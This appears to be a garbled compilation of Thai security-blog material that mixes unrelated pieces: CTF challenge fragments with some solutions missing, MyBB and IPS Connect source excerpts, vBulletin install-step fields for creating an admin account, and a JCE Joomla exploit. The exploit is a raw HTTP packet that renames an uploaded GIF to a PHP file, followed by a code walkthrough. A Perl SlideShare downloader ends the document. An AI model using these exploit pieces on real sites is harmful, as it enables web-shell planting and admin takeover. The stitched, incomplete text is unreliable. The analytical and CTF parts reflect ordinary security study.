root@ubuntu:~# nc number.quals.seccon.jp 31337 3, 0 The maximum number? 3 3, 9, -7 The maximum number? 9 2, -9, -7, 2 The minimum number? -9 0, 2, 0, 1, -4 The minimum number? -4 -4, 3, -7, -9, 9, -9 The maximum number? 9 -2, 1, 5, 8, 1, 9, -7 The maximum number? Timeout, bye. root@ubuntu:~#Solution:
nw100.pcapSolution:
root@ubuntu:~# echo c2VjY29uMjAxNDpZb3VyQmF0dGxlRmllbGQ= | base64 --decode seccon2014:YourBattleField root@ubuntu:~#
forensic100.zipSolution:
root@ubuntu:/home# file forensic100
forensic100: Linux rev 1.0 ext2 filesystem data, UUID=0b92a753-7ec9-4b20-8c0b-79c1fa140869
root@ubuntu:/home# mount -t ext2 -o ro,loop forensic100 ./mnt
root@ubuntu:/home# cd /mnt
root@ubuntu:/home/mnt# ls
1 114 13 145 160 176 191 206 221 237 32 48 63 79 94
10 115 130 146 161 177 192 207 222 238 33 49 64 8 95
100 116 131 147 162 178 193 208 223 239 34 5 65 80 96
101 117 132 148 163 179 194 209 224 24 35 50 66 81 97
102 118 133 149 164 18 195 21 225 240 36 51 67 82 98
103 119 134 15 165 180 196 210 226 241 37 52 68 83 99
104 12 135 150 166 181 197 211 227 242 38 53 69 84 lost+found
105 120 136 151 167 182 198 212 228 243 39 54 7 85
106 121 137 152 168 183 199 213 229 244 4 55 70 86
107 122 138 153 169 184 2 214 23 25 40 56 71 87
108 123 139 154 17 185 20 215 230 26 41 57 72 88
109 124 14 155 170 186 200 216 231 27 42 58 73 89
11 125 140 156 171 187 201 217 232 28 43 59 74 9
110 126 141 157 172 188 202 218 233 29 44 6 75 90
111 127 142 158 173 189 203 219 234 3 45 60 76 91
112 128 143 159 174 19 204 22 235 30 46 61 77 92
113 129 144 16 175 190 205 220 236 31 47 62 78 93
root@ubuntu:/home/mnt# file 1
1: gzip compressed data, was "key.txt", from Unix, last modified: Wed Oct 1 13:00:52 2014
root@ubuntu:/home/mnt# zcat 1
SECCON{@]NL7n+-s75FrET]vU=7Z}
root@ubuntu:/home/mnt#
Hint: think of default files when using source code management systemsSolution:
root@ubuntu:/tmp# echo -n "john" | md5sum
527bd5b5d689e2c32ae974c6229ff785 -
root@ubuntu:/tmp#
NoneSolution:
NoneSolution:
if($mybb->settings['securityquestion'])
{
$question_id = $mybb->get_input('question_id');
$answer = $db->escape_string($mybb->get_input('answer'));
$query = $db->query("
SELECT q.*, s.sid
FROM ".TABLE_PREFIX."questionsessions s
LEFT JOIN ".TABLE_PREFIX."questions q ON (q.qid=s.qid)
WHERE q.active='1' AND s.sid='{$question_id}'
");
/**
* Checks the input data type before usage.
*
* @param string $name Variable name ($mybb->input)
* @param int $type The type of the variable to get. Should be one of MyBB::INPUT_INT, MyBB::INPUT_ARRAY or MyBB::INPUT_STRING.
*
* @return mixed Checked data
*/
function get_input($name, $type = MyBB::INPUT_STRING)
{
switch($type)
{
case MyBB::INPUT_ARRAY:
if(!isset($this->input[$name]) || !is_array($this->input[$name]))
{
return array();
}
return $this->input[$name];
case MyBB::INPUT_INT:
if(!isset($this->input[$name]) || !is_numeric($this->input[$name]))
{
return 0;
}
return (int)$this->input[$name];
case MyBB::INPUT_FLOAT:
if(!isset($this->input[$name]) || !is_numeric($this->input[$name]))
{
return 0.0;
}
return (float)$this->input[$name];
case MyBB::INPUT_BOOL:
if(!isset($this->input[$name]) || !is_scalar($this->input[$name]))
{
return false;
}
return (bool)$this->input[$name];
default:
if(!isset($this->input[$name]) || !is_scalar($this->input[$name]))
{
return '';
}
return $this->input[$name];
}
}
$question_id = $db->escape_string($mybb->get_input('question_id'));
function escape_string($string)
{
if($this->db_encoding == 'utf8')
{
$string = validate_utf8_string($string, false);
}
elseif($this->db_encoding == 'utf8mb4')
{
$string = validate_utf8_string($string);
}
if(function_exists("mysqli_real_escape_string") && $this->read_link)
{
$string = mysqli_real_escape_string($this->read_link, $string);
}
else
{
$string = addslashes($string);
}
return $string;
}
/**
*
* Map - can modify to add additional parameters, but the IPS Community Suite will only send the defaults
*
*/
$map = array(
'login' => array( 'idType', 'id', 'password', 'key', 'redirect', 'redirectHash' ),
'logout' => array( 'id', 'key', 'redirect', 'redirectHash' ),
'register' => array( 'key', 'username', 'displayname', 'password', 'email', 'revalidateurl' ),
'cookies' => array( 'data' ),
'check' => array( 'key', 'id', 'username', 'displayname', 'email' ),
'change' => array( 'id', 'key', 'username', 'displayname', 'email', 'password', 'redirect', 'redirectHash' ),
'validate' => array( 'id', 'key' ),
'delete' => array( 'id', 'key' )
);
/**
*
* Process Logic - do not modify
*
*/
$ipsConnect = new ipsConnect();
if ( isset( $_REQUEST['act'] ) and isset( $map[ $_REQUEST['act'] ] ) )
{
$params = array();
foreach ( $map[ $_REQUEST['act'] ] as $k )
{
$params[ $k ] = $_REQUEST[ $k ];
}
call_user_func_array( array( $ipsConnect, $_REQUEST['act'] ), $params );
}
exit;
call_user_func_array(array(ipsConnect,login),$param); // $param ค่าพารามิเตอร์ส่งเข้าไปในฟังก์ชั่น login
public function login( $identifier, $identifierValue, $md5Password, $key, $redirect, $redirectHash )
{
$member = NULL;
$statusCode = 'MISSING_DATA';
$secondsUntilUnlock = 0;
$revalidateUrl = '';
/* Check */
if ( in_array( $identifier, array( 'id', 'email', 'username' ) ) )
{
$member = IPSMember::load( $identifierValue, 'none', $identifier );
if ( $member['member_id'] )
{
static public function load( $member_key, $extra_tables='all', $key_type='' )
...[snip]...
switch( $key_type )
{
default:
case 'id':
if ( is_array( $member_key ) )
{
$multiple_ids = $member_key;
}
else
{
$member_value = intval( $member_key );
}
$member_field = 'member_id';
break;
else if( count($multiple_ids) AND is_array($multiple_ids) )
{
$_totalUsers = count($multiple_ids);
$_gotFromCache = 0;
$_fromCache = array();
foreach( $multiple_ids as $_memberValue )
{
$member = self::_fetchFromCache( $_memberValue, $_usedTables );
if ( $member !== FALSE )
{
$_fromCache[ $member['member_id'] ] = $member;
$_gotFromCache++;
}
}
$multiple_ids = array_map( 'intval', $member_key );
You found a letter that may shed light on recent events.Redacted.pdf:
That "super secret access code" looks interesting. I wonder if the info behind the black boxes is really gone for good?Solution:
You find an encrypted message written on the documents. Can you decrypt it? encrypted.txtencrypted.txt:
wkhvhfuhwsdvvskudvhlvsqfrayntyqvjpoxeqbmmtlptiktbkfHint:
Is there a cipher named the same as the title of this problem?Solution:
There's an authorization code for some Thyrin Labs information here, along with someone's favorite song. But it's been encrypted! Find the authorization code.encrypted.txt:
encrypted.txt
kve fqkvsnojfkosd rspe ol hebnebfnepHint:
o deten kvsquvk vaedfl elledkofc
kveane rnqpe fdp qdlbefxfhca bcfod
hqk mfahe kveate f ucommen sz bskedkofc
oz fccoep ks ma tolosd fdp hnfod
o xdsg kvfk asqn bsgenl sz nekedkosd
fne fl gek fl f gfnkvsul hfrxlope
hqk kvorx fl asq fne bfa fkkedkosd
ma gsnpl fne f mfkken sz bnope
...[snip]...
You may want to look at what the relative frequencies of letters in english text are.Solution:
Tyrin Robotics Lab uses a special web site to encode their secret messages. Can you determine the value of the secret key?Hint:
You may want to learn how to use you browser's JavaScript console.Solution:
The police have retrieved a network trace of some suspicious activity. Most of the traffic is users viewing their own profiles on a social networking website, but one of the users on the network downloaded a file from the Thyrin Labs VPN and spoofed their IP address in order to hide their identity. Can you figure out the last name of person that accessed the Thyrin files, and the two source IP addresses they used?Hint:
[Example valid flag format: "davis,192.168.50.6,192.168.50.7"]
PCAP file available here. You can also view it on CloudShark
The IP address was changed, but what about the MAC Address?Solution:
$fields = array(
'ajax' => urlencode('1'),
'version' => urlencode('install'),
'checktable' => urlencode('false'),
'firstrun' => urlencode('false'),
'step' => urlencode('7'),
'startat' => urlencode('0'),
'only' => urlencode('false'),
'customerid' => urlencode($_POST['customerid']),
'options[skiptemplatemerge]' => urlencode('0'),
'response' => urlencode('yes'),
'htmlsubmit' => urlencode('1'),
'htmldata[username]' => urlencode($_POST['username']),
'htmldata[password]' => urlencode($_POST['password']),
'htmldata[confirmpassword]' => urlencode($_POST['password']),
'htmldata[email]' => urlencode($_POST['email'])
);
/*insert query*/
$this->db->query_write("
INSERT INTO " . TABLE_PREFIX . "user
(username, salt, password, email, usertitle, joindate, lastvisit, lastactivity, usergroupid, passworddate, options, showvbcode)
VALUES (
'" . $this->db->escape_string(htmlspecialchars_uni($data['htmldata']['username'])) . "',
'" . $this->db->escape_string($salt) . "',
'" . $this->db->escape_string(md5(md5($data['htmldata']['password']) . $salt)) . "',
'" . $this->db->escape_string($data['htmldata']['email']) . "',
'" . $this->db->escape_string($this->phrase['install']['usergroup_admin_usertitle']) . "',
" . TIMENOW . ",
" . TIMENOW . ",
" . TIMENOW . ",
6,
FROM_UNIXTIME(" . TIMENOW . "),
$admin_useroption,
2
)
");
<td class="alt1"> <div id="ctrl_username"> <input type="text" tabindex="1" dir="ltr" size="35" value="' . htmlspecialchars_uni($data['htmldata']['username']) . '" id="it_username_1" name="htmldata[username]" class="bginput" vbrequire="1" /> </div> </td>
$packet = "POST ".$p."/index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&version=1576&cid=20 HTTP/1.1\r\n";
$packet .= "Host: ".$host."\r\n";
$packet .= "User-Agent: BOT/0.1 (BOT for JCE) \r\n";
$packet .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
$packet .= "Accept-Language: en-US,en;q=0.8\r\n";
$packet .= "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n";
$packet .= "Content-Type: application/x-www-form-urlencoded; charset=utf-8\r\n";
$packet .= "Accept-Encoding: deflate\n";
$packet .= "X-Request: JSON\r\n";
$packet .= "Cookie: __utma=216871948.2116932307.1317632284.1317639575.1317734968.3; __utmz=216871948.1317632284.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmb=216871948.20.10.1317734968; __utmc=216871948; jce_imgmanager_dir=%2F; 6bc427c8a7981f4fe1f5ac65c1246b5f=7df6350d464a1bb4205f84603b9af182\r\n";
$ren ="json={\"fn\":\"folderRename\",\"args\":[\"/0day.gif\",\"0day.php\"]}";
$packet .= "Content-Length: ".strlen($ren)."\r\n\r\n";
$packet .= $ren."\r\n\r\n";
ผมจึงลองแงะช่องโหว่ดังกล่าว พบอยู่ที่ไฟล์ /jce/libraries/classes/plugin.php ครับ ชื่อฟังก์ชั่น processXHR ครับ (บางไฟล์ชื่อ process)
function processXHR($array = false) {
$json = JRequest::getVar('json', '', 'POST', 'STRING', 2);
$method = JRequest::getVar('method', '');
if ($method == 'form' || $json) {
$GLOBALS['xhrErrorHandlerText'] = '';
set_error_handler('_xhrErrorHandler');
$result = null;
$error = null;
$fn = JRequest::getVar('action');
$args = array();
if ($json) {
$json = $this->json_decode($json);
$fn = $json->fn;
$args = $json->args;
}
$func = $this->request[$fn]['fn'];
if (array_key_exists($fn, $this->request)) {
if (!is_array($args)) {
$result = call_user_func($func, $args);
} else {
$result = call_user_func_array($func, $args);
}
if (!empty($GLOBALS['xhrErrorHandlerText'])) {
$error = 'PHP Error Message: ' . addslashes($GLOBALS['xhrErrorHandlerText']);
}
} else {
if ($fn) {
$error = 'Cannot call function '. addslashes($fn) .'. Function not registered!';
} else {
$error = 'No function call specified!';
}
}
$output = array(
"result" => $result,
"error" => $error
);
if ($json) {
header('Content-Type: text/json');
header('Content-Encoding: UTF-8');
header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT");
header("Cache-Control: no-store, no-cache, must-revalidate");
header("Cache-Control: post-check=0, pre-check=0", false);
header("Pragma: no-cache");
}
exit($this->json_encode($output));
}
}
จาก Exploit Code จะเห็นว่ามีการส่งค่า POST มาในตัวแปร json รูปแบบเป็น json และมีการรับค่าที่บรรทัดที่ 722 เก็บไว้ในตัวแปร $json จากนั้นมีการแยกค่าซึ่งเป็นชื่อฟังก์ชั่น ไว้ในตัวแปร $fn และ อากิวเมนต์ที่ส่งไว้ในตัวแปร $args ครับ ตอนนี้จะเท่ากับว่า $fn จะมีค่าเท่ากับ folderRename (ซึ่งจะเป็นชื่อฟังก์ชั่นอื่นก็ได้แล้วแต่เป้าหมายเช่น getItems, fileCopy, fileDelete ) และ $args จะมีค่าเป็น /0day.gif และ 0day.php ( รูปแบบของ array )//call_user_func_array("folderRename", array("/0day.gif", "0day.php"));
function folderRename('/0day.gif','0day.php'){
//do something
}
เป็นการโยน 0day.gif และ 0day.php ไปในฟังก์ชั่น folderRename เพื่อเปลี่ยนชื่อจาก 0day.gif ไปเป็น 0day.php ครับ เรามาตามหาฟังก์ชั่น folderRename กันพบอยู่ในไฟล์ /jce/libraries/classes/manager.php ครับ
function folderRename( $src, $dest ){
jimport('joomla.filesystem.folder');
$src = Utils::makePath( $this->getBaseDir(), rawurldecode( $src ) );
$dir = dirname( $src );
$dest = Utils::makePath( $dir, $dest );
if( !JFolder::move( $src, $dest ) ){
$this->_result['error'] = JText::_('Rename Folder Error');
}else{
$this->_result = $this->fireEvent('onFolderRename');
}
return $this->returnResult();
}
มีการย้ายไฟล์ที่บรรทัดที่ 701 ด้วย JFolder::move ของ Joomla ถึงตอนสุดท้ายตามไปดูก็เจอการใช้ library rename ของ FTP ที่บรรทัด 417 และฟังก์ชั่น rename ของ PHP ที่บรรทัด 424 ครับpublic static function move($src, $dest, $path = '', $use_streams=false)
{
// Initialise variables.
jimport('joomla.client.helper');
$FTPOptions = JClientHelper::getCredentials('ftp');
if ($path)
{
$src = JPath::clean($path . DS . $src);
$dest = JPath::clean($path . DS . $dest);
}
if (!self::exists($src)){
return JText::_('JLIB_FILESYSTEM_ERROR_FIND_SOURCE_FOLDER');
}
if (self::exists($dest)) {
return JText::_('JLIB_FILESYSTEM_ERROR_FOLDER_EXISTS');
}
if($use_streams)
{
$stream = JFactory::getStream();
if(!$stream->move($src, $dest)) {
return JText::sprintf('JLIB_FILESYSTEM_ERROR_FOLDER_RENAME', $stream->getError());
}
$ret = true;
}
else
{
if ($FTPOptions['enabled'] == 1)
{
// Connect the FTP client
jimport('joomla.client.ftp');
$ftp = JFTP::getInstance(
$FTPOptions['host'], $FTPOptions['port'], null,
$FTPOptions['user'], $FTPOptions['pass']
);
//Translate path for the FTP account
$src = JPath::clean(str_replace(JPATH_ROOT, $FTPOptions['root'], $src), '/');
$dest = JPath::clean(str_replace(JPATH_ROOT, $FTPOptions['root'], $dest), '/');
// Use FTP rename to simulate move
if (!$ftp->rename($src, $dest)) {
return JText::_('Rename failed');
}
$ret = true;
}
else
{
if (!@rename($src, $dest)) {
return JText::_('Rename failed');
}
$ret = true;
}
}
return $ret;
}
มาถึงตรงนี้ไฟล์ที่ Attacker เรียกเข้ามาจาก 0day.gif ก็จะถูกเปลี่ยนเป็น 0day.php แล้วครับ ส่วนวิธีการแก้ไขช่องโหว่นี้คือ อัพเดท JCE Editor ให้เป็นเวอร์ชั่นใหม่ล่าสุด ตอนนี้น่าจะเป็นเวอร์ชั่น JCE 2.3.44 แล้วครับ.. ขอบคุณที่ตามอ่านจนจบครับ :D ,, ICheer_No0M | 2600Thailand
use LWP::UserAgent;
if(@ARGV < 2){
print "Usage : filename.pl <slideshare_url> <folder_name>";
exit;
}
$url = $ARGV[0];
$folder = $ARGV[1];
$browser = LWP::UserAgent->new() or die;
$content = $browser->get($url)->content;
$i = 1;
while($content =~ m/data-normal=\"(.*?)\"/g){
$pic = $1;
$img = $browser->get($pic)->content;
open OUTFILE, ">> ".$folder.'/'.$i.'.jpg';
binmode OUTFILE;
print OUTFILE $img;
close OUTFILE;
print $pic." => Saved \n";
$i++;
}